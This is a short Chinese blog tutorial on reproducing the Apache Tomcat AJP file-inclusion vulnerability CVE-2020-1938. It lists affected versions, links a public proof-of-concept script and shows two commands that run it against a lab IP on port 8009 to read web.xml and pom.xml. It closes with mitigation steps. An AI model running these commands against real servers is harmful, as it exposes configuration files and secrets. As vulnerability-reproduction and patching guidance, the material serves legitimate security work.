漏洞编号CVE-2020-1938 / CNVD-2020-10487漏洞成因Tomcat-AJP的文件包含影响版本 Apache Tomcat 6Apache Tomcat 7 7.0.100Apache Tomcat 8 8.5.51Apache Tomcat 9 9.0.31复现下载tomcat漏洞版本：http://a...
漏洞编号CVE-2020-1938 / CNVD-2020-10487
漏洞成因
Tomcat-AJP的文件包含
影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
复现
-
下载tomcat漏洞版本：
http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.50/bin/
开启了8080 和8009端口
8009用于AJP协议的HTTP连接端口 -
python2版本运行poc：
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
通过命令行查看其他文件：WEB-INF/xxxxpython2 ./CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.69.113 -p 8009 -f WEB-INF/web.xml
-
web项目要部署在webapps/ROOT目录下
python2 ./CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.69.113 -p 8009 -f okr/pom.xml
原理分析
后续填补
修复建议
临时修改方案：
- 临时禁用AJP协议端口，在conf/server.xml配置文件中注释掉
<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" /> - 配置ajp配置中的secretRequired跟secret属性来限制认证
- 安装安全版本
原文：https://www.cnblogs.com/fightingcode/p/14678338.html
沃梦达教程
本文标题为：Apache-Tomcat CVE-2020-1938
基础教程推荐
猜你喜欢
- nginx.conf(centos7 1.14)主配置文件修改 2023-09-23
- linux下安装apache与php;Apache+PHP+MySQL配置攻略 2023-08-07
- apache和nginx结合使用 2023-09-10
- centos 7 安装及配置zabbix agent 2023-09-24
- 实战Nginx_取代Apache的高性能Web服务器 2023-09-29
- 服务器添加git钩子的步骤 2022-12-12
- linux之conda环境安装全过程 2023-07-11
- Apache服务器配置攻略3 2022-09-01
- Apache Hudi数据布局黑科技降低一半查询时间 2022-10-06
- IIS 6 的 PHP 最佳配置方法 2022-09-01
